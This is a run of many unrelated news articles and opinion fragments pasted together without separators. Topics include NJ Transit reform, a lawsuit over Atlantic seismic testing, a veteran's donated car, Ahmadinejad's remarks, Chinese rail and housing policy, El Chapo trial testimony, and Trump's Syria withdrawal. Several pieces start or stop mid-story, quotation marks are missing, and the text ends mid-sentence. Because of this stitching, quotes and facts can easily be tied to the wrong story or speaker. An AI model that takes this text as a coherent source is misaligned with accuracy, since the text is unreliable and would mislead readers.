Transits founding in 1979 will undergo major changes to its structure. In one of the biggest moves, the law expands NJ Transits board of directors from eight to 13 members including a public member who must be an NJ Transit train, bus or light rail rider and four public members with transportation policy experience. The law also expands the number of hearings NJ Transit must hold if it wants to raise fares or discontinue service. In one sentence, this reform puts into law the simple concept that NJ Transit works for commuters and not the other way around, Murphy said during a news conference at Summit Train station before signing the bill just three days after both houses of the state Legislature passed it. In addition, the law creates an ethics officer to investigate unethical conduct and illegal activity and protect whistleblowers. And it gives commuters more opportunities to talk directly to NJ Transits board. Gov. Phil Murphy speaks at Thursday's bill signing at Summit train station. The reforms have received mixed reaction from transit advocates. David Peter Alan, chairman of the Lackawanna Commuter Coalition, said at least one board member should be dependent on NJ Transit and not hold a drivers license. The New Jersey Association of Railroad Passengers said the reforms need to address finances and a stable source of funding for NJ Transit operations. One of the measures main sponsors, state Senate Majority Leader Loretta Weinberg, D-Bergen, said the law is not a panacea." The signing of this bill will not make sure all the trains or buses are operating as fully as they should, Weinberg said. But its a big step forward. Weinberg said it shows the governor and Legislature have been listening to what youre saying and will lead to an open and transparent and responsive NJ Transit. Murphy, a fellow Democrat, said he and lawmakers worked together on the measure after he called for an audit of NJ Transit shortly after taking office in January. He agreed that work on the system is not done. We remain committed to getting this system right, from the top to the bottom, Murphy said. We will not let up. That is my promise to the riders. As for possible fare hikes? Murphy has committed to no increases through June 30, the end of this fiscal year. But he said Thursday hes looking for a dedicated funding source for NJ Transit, and he couldnt commit to no hikes when the next state budget takes effect July 1. We are loath to make the commuter bear the burden as the commuter has over the past decade, so weve already committed to no fare increases through June 30, Murphy said. Id love to see our ability to extend that, but its too early to tell. Murphy was surrounded at the bill signing by a number of the sponsors, including Weinberg; state Senate Minority Leader Tom Kean Jr, R-Union; former state Sen. Robert Gordon, D-Bergen; and state Assemblyman John McKeon, D-Essex. NJ Advance Media staff writer Larry Higgs contributed to this report. Brent Johnson may be reached at bjohnson@njadvancemedia.com. Follow him on Twitter @johnsb01. Find NJ.com Politics on Facebook. Officials in New Jersey and eight other states are taking President Donald Trumps administration to court over its decision to allow seismic testing off the Atlantic coast, a move widely seen as a first step toward off-shore oil and gas drilling. The federal government is putting the fossil fuel industry above New Jerseys residents, above the environment and above the law," state Attorney General Gurbir Grewal told reporters at a press conference in Belmar, one of the Jersey Shore towns state authorities say would be hurt by fossil fuel exploration along the coast. New Jersey is joining Maryland, North Carolina, Virginia, Delaware, Connecticut, Maine, Massachusetts and New York in opposing the decision by the federal government to allow preliminary scientific testing that could harm marine mammals. Seismic geophysical surveys are conducted to map the ocean floor and determine areas where oil and gas may be. The process uses airguns towed by ships to blast compressed air into the ocean, creating sound waves that reach the ocean floor and bounce back to a receiver, where the sound waves are measured to determine what materials lie beneath that section of the Earths crust. Seismic testing is incredibly loud. The effects of the blasts on marine life is not fully understood, but scientists are increasingly worried about the impacts on endangered whales and other species, according to an NPR report. The National Marine Fisheries Service, also called NOAA Fisheries, last month issued incidental harm authorizations to five companies seeking to perform such tests. In the lawsuit, the states claim that NOAA Fisheries violated three federal laws meant to protect wildlife and the environment by issuing the authorizations. New Jersey and the other states claim that NOAA Fisheries violated the Endangered Species Act, the Marine Mammal Protection Act and the National Environmental Policy Act. The nine states are joining a lawsuit filed by environmental groups earlier this month in U.S. District Court in South Carolina. Seismic testing is the first step before oil and gas companies can start drilling off our shores, because it lets them search for that oil and gas on the seafloor, Grewal said. So if were able to stop seismic testing now, then we can defeat offshore drilling in the Atlantic and off the New Jersey coast. The suit is the latest salvo in New Jerseys fight with the federal government over environmental issues since Grewal and Gov. Phil Murphy, a Democrat, took office in January. Earlier this year, Grewal sued the Department of the Interior in order to obtain more information about the decision to exempt the state of Florida from any offshore drilling expansion. On Thursday, the attorney general said his office had obtained the first batch of documents from that suit. There is nothing, I repeat nothing, in the documents to justify treating Florida differently than New Jersey," Grewal said. In granting the exemption earlier this year, outgoing Interior Secretary Ryan Zinke said that Florida was "unique and its coasts are heavily reliant on tourism as an economic driver." Grewal noted Thursday that the Jersey Shore generated an estimated $44 billion in tourist revenue and created more than 800,000 jobs in 2016. The attorney general relayed a message to federal officials: If you have actual evidence that justifies treating Florida differently than New Jersey, then turn it over. But if you dont, then exempt New Jersey from offshore drilling as well. Asked to respond to New Jersey officials' claims, a spokesperson from the Department of the Interior referred a reporter to the Justice Department, which did not immediately return a message seeking comment. Michael Sol Warren may be reached at mwarren@njadvancemedia.com. Follow him on Twitter @MSolDub. Find NJ.com on Facebook. S.P. Sullivan may be reached at ssullivan@njadvancemedia.com. Follow him on Twitter. Find NJ.com on Facebook. On a frosty Wednesday morning, 63-year old James Baker slid into the passenger side of his housing coordinators car. He was about to spend his only day off house hunting with her. But first, they had to make a stop at Boggs Auto Collision Rebuilders, for what -- he wasnt entirely sure. It was for an event to thank some local veterans, he was told. I wish I had my own car, it doesnt matter what kind, I need a hooptie, a jalopy, anything to get around, he said to Rebecca Edwards on the way. Baker didnt know that one particular veteran would be thanked, or that the veteran would be him -- or that he would finally have a car of his own. National Auto Body Councils program, Recycled Rides, works with insurers and collision repairers, along with paint and part suppliers to repair and donate vehicles to those in need. Boggs Auto off of Route 45 has participated in the program for the past 15 years, donating one vehicle each holiday season. Dozens of community members and local veterans gathered at the auto shop to surprise Baker on Dec. 19. Vice President Jason Boggs welcomed the guests and thanked the veterans for their service. He lead the group to the shop floor, where a van was decorated in Christmas wrapping paper and topped with a big red bow. It was their way of saying thank you in a special way, he said. When Boggs handed Baker the keys, he was stunned, trying to fight tears. Those who knew Baker said theyve never seen him so happy. I dont believe this -- that I got it, thats, I think Im being pranked. Its overwhelming. I never expected to get anything like this, Baker stumbled over his words, in shock. Each year, Boggs Auto takes a donated vehicle or one that is deemed totaled by insurance companies, fixes it, and gives it away for free. Boggs Auto works with local organizations to nominate someone who needs a car, and is most deserving of one. Baker, a U.S. Army Veteran who served in South Korea, is both of those things. Veterans Haven South, a transitional housing program for homeless veterans funded by the New Jersey Department of Military and Veterans Affairs, chose Baker. The drug and alcohol free program aims to treat and reintegrate homeless veterans back into society. Its Winslow Township location provides 100 beds. Program leaders nominated someone who works hard to reach their goals and doesnt use lacking a vehicle as an excuse to not achieve them. It was a cool moment. As we were describing this person, we all said -- James Baker, said Assistant Superintendent William Lobach, of the NJDMAVA. Baker has a full time job, and takes two, sometimes three, busses to get to work and home each day. Rain or snow, heat or freezing temperatures, he waits outside, boards the bus, and repeats the cycle day after day. Not having a car has been the one thing holding him back, but hell do whatever hes got to do, said Edwards. Since Baker entered the program more than two years ago, hes been rebuilding that bridge of hope, that he had lost, said Deborah Nicholson, his original case manager at Veterans Haven. Im ecstatic to see the joy and hope be restored in him, she added. This year, West Deptford residents Carol and Ryan Axelrod donated Bakers Ford Freestar. They also gifted Baker a Wawa gift card for his first tank of gas. Cettei & Connell Insurance of Woodbury donated the first year of car insurance to Baker, as they have to every recipient for 14 years. Events like this really puts you in the spirit of Christmas, said Carol Axelrod. Baker looks forward to finding a home of his own, and knows his car is definitely going to get him around. For the first time in years, Baker is no longer a passenger. Police have arrested a man on charges he stabbed a convenience store owner multiple times during an afternoon robbery last week. Ruben Soto, 18, faces first-degree of attempted murder, robbery and carjacking, along wth weapons charges. Linden police say he entered the Krauszers Convenience Store on Wood Avenue around 3:15 p.m. Dec. 11. After asking about lottery tickets and wandering around the store, he demanded money from the man at the cash register. When the clerk opened the register, police say Soto attacked him before fleeing. While trying to get away, he tried to steal a 2012 Mercedes-Benz SUV from a woman and her two children, ages 5 and 6. The woman did not give up the keys and Soto moved on. Soto gave himself up on Dec. 17 and is in the Union County Jail before a first appearance in Superior Court. Joe Brandt can be reached at jbrandt@njadvancemedia.com. Follow him on Twitter @JBrandt_NJ. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Free agent superstar Manny Machados tour this week with his most interested suitors continued Wednesday with a meeting with the Yankees at Yankee Stadium. Heres what we know: -- Machado and the Yankees meeting lasted just 90 minutes, as ESPN reported that he arrived at Yankee Stadium at 12:32 and departed at 2:02 p.m. -- Machado entered and departed Yankee Stadium in the back seat of black suburban. Its believed his wife Yainee also attended the meeting. -- Machados headshot was on the Yankee Stadium scoreboard wearing a Yankees cap and pinstripes jersey. Also on the scoreboard was a message: Two smaller scoreboards to the right and left of his headshot contained a greeting message: Yankees Welcome Manny & Yainee. -- Yankees GM Brian Cashman and manager Aaron Boone participated in the meeting, the New York Post reported. CC Sabathia also was seen arriving at Yankee Stadium, so he perhaps also met with Machado. -- Neither Machado nor the Yankees commented on the meeting. -- One meeting topic surely brought up by the Yankees was Machados lack of hustle in the playoffs and disturbing comments afterward that running hard isnt his cup of tea and hes not the type of player thats going to be Johnny Hustle. -- Its unknown if the Yankees presented a formal contract proposal to Machado, who likely wont get serious about choosing a club until getting final offers from suitors. -- There are just three known clubs serious about signing Machado: the Yankees, Chicago White Sox and Philadelphia Phillies. He was in Chicago on Monday to meet with the White Sox and will be in Philadelphia on Thursday to talk with the Phillies. -- The speculation has been Machado will land a contract that could be worth at least $300 million for 10 years. The Phillies are the favorites, as its known they are infatuated with Machado and their billionaire principle owner John Middleton has stated he may be a little hit stupid spending money this winter. Randy Miller may be reached at rmiller@njadvancemedia.com. Follow him on Twitter @RandyJMiller. Find NJ.com on Facebook. I actually was walking down the hospital hallway and he spotted me and began to call out my name, which is witness to his memory working very well. He will be undergoing additional tests. He is very anxious to get back to his disciplined, healthy and busy lifestyle, but does understand that he needs to follow the doctors orders. Thanks be to God that his illness was recognized at an early stage and therefore was being treated by his caring doctors immediately. The shoplifter hopped in a car where a driver appeared to be waiting, he said. Cordell used his elbow to smash the window of the car to try to get the bag back. It only took two tries, he said. An ugly fight over an audit that found the city of Zachary paid two vendors $3.5 million without having contracts in place has died down some, but the city councilman most upset about the matter has made clear he is not giving up on his quest for You are here: Arts With a set of wooden recorders, a musical duo took the audience to the Baroque era and retraced the route of Spanish Jesuit Diego de Pantoja, whose odyssey helped establish the early bond between China and Spain. The singsong concert held recently marked the end of The Year of Diego de Pantoja, a series of events hosted by Spain's Cervantes Institute through 2018, commemorating the 400th anniversary of Pantoja's death in Macao. The concert showcased the journey of Pantoja and other European missionaries to Asia, and their contributions to globalization. The pieces ranged from duets written in Pantoja's birthplace Valdemoro to hymns performed by missionaries in the Forbidden City in Beijing. Pantoja, who arrived in Macao in 1597 and then moved to Nanjing in 1600, worked with Italian Jesuit Matteo Ricci, and together they came to Beijing in 1601. For the following 17 years, Pantoja devoted himself to missionary work in Beijing. According to Rafael Dezcallar, the Spanish ambassador to China, Pantoja was not only a missionary, but more importantly a scholar and a messenger of culture. And what Pantoja achieved was far more than simply religious education, for he facilitated the communication between China and the Western world, Dezcallar says. The instrumental duo La Folia comprises two recorder experts Pedro Bonet and Belen Gonzalez Castano. With 20 or so recorders, they performed duets from Pantoja's time, most of which were related to religious services. When Pantoja and Ricci arrived in Beijing, they paid tribute to Emperor Wanli of the Ming Dynasty (1368-1644), with two mechanical musical clocks. The clocks were endearingly called singsong clocks because of their sounds. For the finale, the duo presented select musical clock tunes from the British Library collection. In the 1730s, Baroque composer George Frideric Handel collaborated with the craftsman Charles Clay in programing music for clocks. The concert also featured a Malaysian saong based on a work by Arcangelo Corelli, one of the most renowned Baroque musicians of the time whose influence suffused religious music. China has approved urban rail projects worth 298.35 billion yuan (43.3 billion U.S. dollars) for Shanghai, the National Development and Reform Commission said in a statement on Wednesday. The projects, covering six subway lines and three inter-city railways, are estimated to have a total length of 286.1 kilometers and the construction work is expected to be completed by 2023. By 2035, the total length of urban rail transit network in Shanghai will reach 2,200 kilometers, out of which the length of subway lines will be 1,043 kilometers and that belonging to city railway will be 1,157 kilometers. The preliminary estimate of funds toward this project amounts to 298.35 billion yuan, 45 percent of which will be afforded by local government's financial funds while the rest will be raised in other ways including loans from domestic banks. More than half of the trips on motorized transport modes are on public transportation in Shanghai, while the rail transport accounts for 60 percent of public transit. "China has been increasing the number of new subway projects and upgrading the old lines, which greatly boosts our domestic sales," said Chen Fei, manager at Kunshan Alex Railway Fastening, that makes track fasteners for subway projects in Suzhou, Shanghai, and Shenzhen. "Previously most of our products were exported to the U.S. and Europe, but the infrastructure rebound amid the U.S.-China trade war makes our domestic sales grow." A block train packed with 41 containers of sawn timber left Kouvola, eastern Finland Tuesday and headed to Xi'an, the capital of Shaaxi province in northwestern China, or the hometown of renowed Terracotta Warriors. It takes two weeks for the 1,800 cubic meters of wood products to arrive at Xi'an, which is playing a bridge head role in opening up the central western China, said Tommi Saarnisto product manager of Metsa Fibre, a prominent forest company of Finland. The journey covers Russia and central Asian countries, and the train will enter China from Kazakhstan through Alataw Pass. Metsa Fibre is currently the biggest provider of softwood pulp in China, but sales of new goods such as sawn timber have begun to grow there, according to Jani Riissanen, the company's SVP in charge of timber business. Metsa Fibre has been among the "big customers" that are starting to embrace the railway logistic method for their exports to China, said Anu Kujansuu, Marketing Director of Kouvola Cargo Handling company. "We are looking forward to big customers like Metsa to be interested in the railway transportation," Kujansuu said. She believed the railway service is a good alternative between air transportation and sea transportation, although "the price is a little bit higher." "There are branches where 'the time is money', and you cannot wait for 45 days for your cargo to go to the customer," Kujansuu elaborated. And the railway is more environmental friendly compared to other methods, and many big companies are paying attention to this merit, she added. Riissanen was convinced that the cargo train that arrives at Xi'an provides a good option to expand the market in the vast nation, especially the remote inland areas far from the coast line. For the moment, the east bound trains are running at an average frequency of twice a week, said Kujansuu on Wednesday. A second block train loaded with hardboard will depart from Kouvola later this week. Kujansuu seemed satisfied with the development, and she considered the railway service linking with China, which started one year ago, bearing a rosy future. "Before, I never thought a company located in Kouvola, not in the sea port, in Finland could be so linked to China," she said when commenting on the 40th anniversary of China's open-up policy. "We didn't realize how close we are to China. Of course we think this new route and all these train routes to Europe from China is a great development," she said. He said that there were no homosexuals in Iran not one and that the Nazi slaughter of six million Jews should not be treated as fact, but theory, and therefore open to debate and more research. Mahmoud Ahmadinejad, the president of Iran, aired those and other bewildering thoughts in a two-hour verbal contest at Columbia University yesterday, providing some ammunition to people who said there was no point in inviting him to speak. Yet his appearance also offered evidence of why he is widely admired in the developing world for his defiance toward Western, especially American, power. In repeated clashes with his hosts, Mr. Ahmadinejad accused the United States of supporting terrorist groups, and characterized as hypocritical American and European efforts to rein in Irans nuclear ambitions. If you have created the fifth generation of atomic bombs and are testing them already, who are you to question other people who just want nuclear power, Mr. Ahmadinejad said, adding, pointedly: I think the politicians who are after atomic bombs, politically, theyre backwards. Retarded. And few people think those talks will go anywhere anyway. So, for the grand show to take place in New York this week, expect a President Obama whose behavior toward Iran will resemble that of his predecessor, George W. Bush. Image DEFIANCE The biggest issue between President Obama and Iran is the nuclear program that Mahmoud Ahmadinejad lauded on National Nuclear Day in 2007. Credit... Abedin Taherkenareh/European Pressphoto Agency Which may seem, at first, a bit curious. Just last week, Mr. Obama separated himself from one of President Bushs muscular foreign policy initiatives when he abandoned the effort to put missile interceptors in Poland and the Czech Republic over Russian objections. Republicans saw that as a sign of weakness in Mr. Obama, but the administration said it was just the opposite a move that would allow placement of the interceptors closer to the real danger, Iran, and prompt Russia to cooperate more closely in containing the nuclear ambitions of you guessed it Mr. Ahmadinejad and the mullahs in Tehran. Which was also a goal of Mr. Bush. Now, both Mr. Obama and Mr. Ahmadinejad are scheduled to address delegates in the cavernous hall of the General Assembly on Wednesday, and that is the most obvious point where they might make contact. When Mr. Bush addressed the General Assembly in September 2007, Mr. Ahmadinejad sat in the audience and listened, without outward reaction, as the American president slammed Iran as part of his litany of brutal regimes that should be confronted. When Mr. Ahmadinejad delivered his rambling and defiant 40-minute speech a few hours later, the United States delegation pointedly left the hall, leaving only a note-taker to listen. Ouch. This time, while Mr. Obama probably wont use language as strong as Mr. Bush used to denounce Iran he has, after all, tried in recent months to extend his unclenched fist, sending letters to Irans supreme leader and wishing the regime a Happy Nowruz and the like. But dont expect him to sit in the hall and listen to Mr. Ahmadinejad deliver his expected rant. I dont think even Susan will be there, said Mr. Takeyh, who is now at the Council on Foreign Relations. He was referring to Susan E. Rice, the United States ambassador to the United Nations. But Mr. Ahmadinejad, Mr. Takeyh said, will probably be in the audience when President Obama speaks. Thats unavoidable. He may pull a Chavez, but I dont think hell rush the stage. Translation: Pulling a Chavez refers to the now-infamous handshake between President Hugo Chavez of Venezuela and Mr. Obama at the Summit of the Americas in Trinidad and Tobago back in April. The handshake riled Republicans, and former Vice President Dick Cheney warned that it could be a sign of weakness on Mr. Obamas part. (Mr. Chavez also sidled up to Mr. Obama later and gave him a book.) President Mahmoud Ahmadinejad of Iran ran through his standard talking points at his annual gathering with American journalists on Tuesday, denying that dissidents languished in jail or that economic sanctions were biting, and rejecting the idea that Tehran deserved anything less than a gold star for its nuclear inspection record. But this time, he embroidered his remarks with a little fresh bluster. Seated at a conference table surrounded by news editors and television producers, the Iranian president told his breakfast guests that, should the United States attack Iran over its nuclear program, it would become embroiled in a war that would make previous American conflicts pale in comparison. The United States has never entered a real war, not in Vietnam, nor in Afghanistan, nor even World War II, Mr. Ahmadinejad said during the meeting at a hotel in Midtown Manhattan, part of what has become his ritual charm offensive when he attends the United Nations General Assembly. War is not just bombing someplace. When it starts, it has no limits. At the same time, he rejected the idea that tensions would ever reach that point, dismissing the threat of an attack on Iran as mere psychological warfare. We have always been prepared to talk, Mr. Ahmadinejad said. American officials voiced their disapproval last week of Mr. Ahmadinejads visit, which seems timed to embolden Hezbollah and underscore Tehrans broader influence in Lebanon. After his arrival, Mr. Ahmadinejad appeared at a news conference alongside the Lebanese president, Michel Suleiman, announcing several bilateral agreements on energy, water, and other issues. Iran, which has long provided arms and training to Hezbollah, has also offered repeatedly to help equip the Lebanese Army if the United States cuts off its military aid here. Iranian money was crucial to the rebuilding effort after the 2006 war with Israel, an array of reconstruction projects directed by Hezbollah but whose benefits apartment blocks and roads were not limited to its followers. Mr. Ahmadinejads trip had all the trappings of a typical state visit by a foreign leader, including news conferences, a formal lunch, and meetings with leaders of Lebanons various sectarian communities. But he was also hailed by many in the Shiite community Lebanons largest as something different: a heroic patron of the struggle against Israel. On Wednesday evening, he delivered a speech at a vast Hezbollah rally in Beiruts southern suburb in which he railed against Israel as tens of thousands of supporters roared their approval. Hezbollahs leader, Hassan Nasrallah also spoke by video link, thanking Iran for its support and calling for Israel to be wiped out of existence. On Thursday, the Iranian president plans to visit southern Lebanon near the Israeli border in a trip aimed at highlighting Iranian support for Hezbollahs armed struggle with Israel. The Israeli daily Haaretz reported that Israel had asked the United States, France, and the United Nations to pass on the message that it viewed Mr. Ahmadinejads planned visit to southern Lebanon as a provocation. Heze in Shandong province has become a topic of heated discussion after it decided to relax its home sales ban, becoming the first Chinese city to do so amid the nation's year-long policy to curb real estate speculation. In an announcement by the local government on Tuesday, in order to promote the healthy and stable development of the local real estate market, it revealed that it had canceled the residential property resale ban that was introduced last year. According to that rule, local residents could only resell their property after two years, while a limit of three years was imposed on non-local purchasers. "Heze is the first city to lift the home sales ban since strict policies started being introduced in China in September 2016 to cool the overheated property market," said Yang Hongxu, deputy director of E-House China, a real estate services provider. "Currently the local authorities are allowed to adopt different policies based on their own situation," Yang said. "It is impractical for first and second-tier cities which experienced significant price increases in the past to lift the ban, but lower-tier cities such as Heze have more flexibility in policymaking." Real estate columnist and commentator Xie Yifeng, explaining the logic behind Heze's decision, said: "There is a distinct conflict between supply and demand. The city is short of newly built residential property, but second-hand properties can't be put on market. Demand for second-hand property is exceeding supply." The stock market reacted quickly to the news, with some property developers' stocks soaring. Lushang Property Co Ltd rose 10.09 percent on Wednesday to 3.49 yuan (51 cents) per share. Rongan Property Co Ltd also benefited, seeing a 9.96 percent increase in its stock price. Heze's move has sparked heated discussion in the industry. Zhang Dawei, chief analyst at Centaline Property Agency Ltd, said it should not go ahead and pointed to the considerable impact it will have on the market. "The ban has been a signature policy to curb speculation in recent years, and such a policy has played a huge role in cooling down the market," Zhang said. "There are over 90 cities in China that have implemented such bans." "Heze's action should be halted, and it is very likely to be halted," he added, saying the move by the local authorities in Heze would encourage speculative investment. Yang also predicted that the local authority might be unable to handle the pressure resulting from its decision and backtrack on it as a result. According to a report in Securities Times, the provincial urban-rural housing construction department of Shandong was not notified before Heze released the policy, and it has been looking into the matter. President Mahmoud Ahmadinejad of Iran suffered embarrassments in two politically delicate judicial cases on Monday, in what Iranian analysts called a possible sign of further isolation during his final year in office. Four people were sentenced to death in a $2.6 billion embezzlement scandal that has been indirectly linked to a top aide of Mr. Ahmadinejads and happened on the presidents watch. The sentences, reported by the official Islamic Republic News Agency, were the first handed down to the 39 people convicted in the embezzlement case, which has been unsettling Iran since it was first uncovered last year. The judiciary did not identify the four condemned defendants, who have the right to appeal, but Iranian analysts have said many of the people implicated in the fraud were tied to appointees of Mr. Ahmadinejads administration. In the second case, the Supreme Court ordered the dismissal of Saeed Mortazavi from his post as executive director of the Social Security Fund, which administers welfare aid in Iran. He is a former Tehran prosecutor disparaged by Iranian dissidents for his role as an enforcer who helped crush the protests that erupted after Mr. Ahmadinejads suspiciously lopsided re-election in June 2009. The very existence of the Zionist regime is an insult to humankind and an affront to all world nations, the news agencys English-language report on the speech quoted him as saying. Confronting Zionists will also pave the way for saving the whole humankind from exploitation, depravity and misery. In another passage, Mr. Ahmadinejad was quoted as saying that Jerusalem Day, which the Iranians call Quds Day after the citys Arabic name, was an occasion for all human communities to wipe out this scarlet letter, meaning the Zionist regime, from the forehead of humanity. A violently anti-Israel message was also the theme of Jerusalem Day commemorations in Beirut, Lebanon, the home base of Hezbollah, the militant political organization that fought a war with Israel in 2006 and is aligned with the governments of Iran and Syria in what they call the axis of resistance. Hassan Nasrallah, the Hezbollah secretary general, said in a televised speech that its arsenal of missiles trained on Israel included precision-guided rockets that could transform the lives of hundreds of thousands of Zionists into hell. Israel considers Iran its most dangerous adversary because of Irans suspect nuclear program, missiles capable of hitting Israeli targets, and support for militant Palestinian groups on Israels borders. Conversely, Irans clerical rulers have considered Israel one of the worlds most arrogant and dangerous powers since they came to power in the Islamic revolution of 1979. Iranian officials constantly point out that even though they repudiate nuclear weapons, Israel has an arsenal of them. House lawmakers concerned about the possibility of self-dealing and other hidden conflicts of interest in Puerto Ricos $123 billion bankruptcy introduced a measure on Wednesday intended to strengthen reporting requirements, after one of the cases most influential consultants was shown to have an undisclosed stake in Puerto Ricos debt. Representatives put the bipartisan measure forward after The New York Times reported that the consultant, McKinsey & Company, had bought millions of dollars worth of Puerto Rican bonds at a deep discount and had not disclosed that investment. That puts the consulting firm, which is advising a federal oversight board as it leads the island through fiscal reforms and a debt restructuring, in a position to profit from the plans that it is helping to design. The people of Puerto Rico cant have faith that this oversight board is putting their interests first if consultants helping implement the restructuring could profit from how much debt service is available under the very fiscal plans they design, said Representative Nydia M. Velazquez, the New York Democrat who is the lead sponsor of the bill. Other sponsors include Representative Rob Bishop, the Utah Republican who is chairman of the House Natural Resources Committee; Representative Raul M. Grijalva, the Arizona Democrat who is expected to become chairman next year; and Jenniffer Gonzalez-Colon, the Republican who represents Puerto Rico as a nonvoting member. The House Natural Resources Committee has jurisdiction over United States territories and drafted the bankruptcy-like law that governs Puerto Ricos restructuring proceedings, but it left out the disclosure provisions customarily found in bankruptcy statutes. The tensions between the two countries show no signs of easing. Top advisers to Robert Lighthizer, the United States trade representative, briefed Congress on Tuesday afternoon about the state of the trade talks with China and left staff with the sense that the negotiations were in disarray. Congressional aides said after the briefing that they were not optimistic about the prospects of reaching a significant deal by March 2, the new date for proposed increases in United States tariffs on China. One aide said that the trade officials, Stephen P. Vaughn, the general counsel of the trade representatives office, and Jeffrey D. Gerrish, Mr. Lighthizers deputy, suggested that the tariffs that the United States had imposed on China would not be rolled back even if an agreement was struck by the deadline. The officials were also unsure about how they would even enforce the concessions that they were pressing China to make. The Trump-induced whiplash on China has left more questions than answers, said Rep. Lloyd Doggett, a Texas Democrat who serves on the House Ways and Means Committee. One day, hes Tariff Man, and the next, its Lets Make a Deal. Congress must get answers from this administration on what success looks like. In a plenary hall at W.T.O. headquarters on the shores of Lake Geneva this week, the global stresses were on view. The talks were closed to the public, but the United States and other countries made texts of their speeches available. Under Mr. Shea, who also serves as the American permanent representative to the W.T.O., the United States has expressed its views in unvarnished language that has shocked other diplomats at times but is very much in line with Mr. Trumps view that America is getting a raw deal on global markets. For too long, the rules of global trade have been tilted against U.S. workers and businesses, the United States government said in a report it submitted as part of the trade policy review. Critics accuse the United States of trying to undermine rules of trade it largely wrote, creating a free-for-all that would undercut global growth. [What you need to know to start the day: Get New York Today in your inbox.] Alicia Glen, who became deputy mayor for housing at the start of Mayor Bill de Blasios first term and was a lightning rod for some progressive critics of the administration, will depart City Hall next year, officials said Wednesday. A former Goldman Sachs executive, Ms. Glen had been in charge of economic development and major initiatives to expand and preserve affordable housing in New York City; she had a direct hand in the negotiations that secured a deal to bring Amazon to New York City. Ms. Glen also oversaw the citys troubled public housing system at a time when conditions worsened for residents and the New York City Housing Authority is under threat of a possible federal takeover. From building and protecting the most affordable housing in our history to growing our tech industry to knocking down barriers for women, Deputy Mayor Alicia Glen has opened doors for New Yorkers of every background and made our city a fairer place, Mr. de Blasio said on Twitter. He has also testified about his own criminal history, which started during his childhood in Chicagos Little Village, a mostly Hispanic neighborhood. At 7, he recalled, he and his twin brother, Margarito, acted as English to Spanish translators for their father during drug deals, and were also tasked with loading and unloading carloads of cocaine. By age 20, the brothers were among the citys biggest wholesale drug dealers a position, Mr. Flores said, that attracted the attention of one of Mr. Guzmans representatives in the Sinaloa drug cartel. With its network of rail yards, airports, waterways and interstates, Chicago has long been a focal point of the cartels operations. It is centrally located or, as Mr. Flores put it Tuesday, halfway to everywhere. The man from Sinaloa, Lupe Ledesma, hired the brothers as his distributors and by the early 2000s, Mr. Flores said, they had already moved up to 20 tons of the cartels product through several American cities. When the federal authorities indicted the twins in 2004 on drug trafficking charges in Wisconsin, they fled together as fugitives to Mexico. There, Mr. Flores told the jurors, they continued selling drugs and were ultimately spotted by someone else: Ismael Zambada Garcia, Mr. Guzmans partner. Summoning the brothers to a meeting, Mr. Zambada praised them for the profits they were earning. He wished they could earn more, Mr. Flores added, quoting him as saying: Imagine if you guys were triplets. Shortly after that encounter, Mr. Flores said, he met Mr. Guzman in his mountaintop hide-out. While the men eventually worked well together, there was at first a cultural divide. Mr. Flores recalled how he showed up for the meeting wearing jean shorts and a T-shirt. The kingpin disapproved, telling him, With all that money, you couldnt afford the rest of the pants? The next three years went by in a flurry of drug deals and profits. Mr. Flores and his brother expanded to Detroit, Philadelphia and Washington, D.C. They set up warehouses in cities across the country always, he explained, in the best neighborhoods where the police werent likely to look. But in 2008 everything changed, he said. First, Mr. Guzman went to war with one of his former partners, Arturo Beltran Leyva, and the cartel chieftains demanded the brothers loyalty. Then, Mr. Floress wife got pregnant and he began to think about their future or lack of one, he said. [What you need to know to start the day: Get New York Today in your inbox.] No smoking marijuana in public. An age limit of 21. An option for home delivery. And what about all those prior convictions for marijuana-related offenses? Automatically expunged. Those were some of the recommendations made in a 77-page report from New York City officials for how to approach the legalization of recreational marijuana use, an eventuality that Mayor Bill de Blasio acknowledged earlier this year even as he stopped short of endorsing the move. Now, three days after Gov. Andrew M. Cuomo declared marijuana legalization a key part of his agenda for the state in 2019, Mr. de Blasio endorsed legalization for the first time with caveats. I have been convinced that we can establish a regulatory framework that keeps our streets safe, rights the wrongs of the past, and gives economic opportunity to communities hit hardest by the war on drugs, Mr. de Blasio said in a statement to The New York Times on Wednesday. He is expected to discuss the report, a copy of which was obtained by The Times, at a news conference on Thursday. As late as Monday, James Jeffrey, the State Departments Syria envoy, told the Atlantic Council that the United States would stay in Syria until ISIS was defeated, Iranian influence was curbed and there was a political solution to the Syrian civil war. But on Wednesday, Mr. Trump undercut his advisers, and American interests, by reversing course and declaring in a tweet, We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. There was no attempt to use the leverage of an American withdrawal to achieve any specific political or military goal. Mr. Trumps assertion that the Islamic State is defeated is absurd. We have won against ISIS, he boasted in a video. The ability of the terrorists to strike has been significantly degraded and much of the territory they claimed for their so-called caliphate has been liberated. But the group still retains a pocket of land on the Syria-Iraq border and has roughly 20,000 to 30,000 fighters, according to military researchers. As Mr. Jeffrey said Monday, The job is not yet done. No one wants American troops deployed in a war zone longer than necessary. But there is no indication that Mr. Trump has thought through the consequences of a precipitous withdrawal, including allowing ISIS forces to regroup and create another crisis that would draw the United States back into the region. An American withdrawal would also be a gift to Vladimir Putin, the Russian leader, who has been working hard to supplant American influence in the region and who, on Thursday, enthusiastically welcomed the decision, saying, Donalds right. Another beneficiary is Iran, which has also expanded its regional footprint. It would certainly make it harder for the Trump administration to implement its policy of ratcheting up what it calls maximum pressure on Iran. Among the biggest losers are likely to be the Kurdish troops that the United States has equipped and relied on to fight the Islamic State in Iraq and Syria. Turkeys president, Recep Tayyip Erdogan, considers many of the Kurds to be terrorists bent on destroying his country. In recent days he has vowed to launch a new offensive against them in the Syrian border region. Mr. Trump discussed his withdrawal decision in a telephone call with Mr. Erdogan on Friday. The same month that Trump pulled the outrageous stunt of inviting women who had accused Bill Clinton of inappropriate sexual behavior to his debate with Hillary Clinton, his personal lawyer, Michael Cohen, apparently under his instructions, facilitated a $130,000 payment to the porn star Stormy Daniels to prevent her from telling America that she had a sexual encounter with Trump, who was married with a small child. This payment was a few months after Cohen had helped arrange a $150,000 deal between American Media Inc., the parent company of The National Enquirer, to buy the story of the Playboy model Karen McDougal, who also claimed a sexual relationship with Trump. According to prosecutors, both were campaign finance violations federal crimes and now a judge has sentenced Cohen to three years in prison for that and other crimes. The fact that Trump would be directly implicated in a federal crime that took place on the verge of the election and may have helped hand that election to him is mind-blowing to me. Trump, for his part, lied about these payments and denied them while also having those around him lie about them on his behalf until he could simply no longer lie about them anymore. Then came the 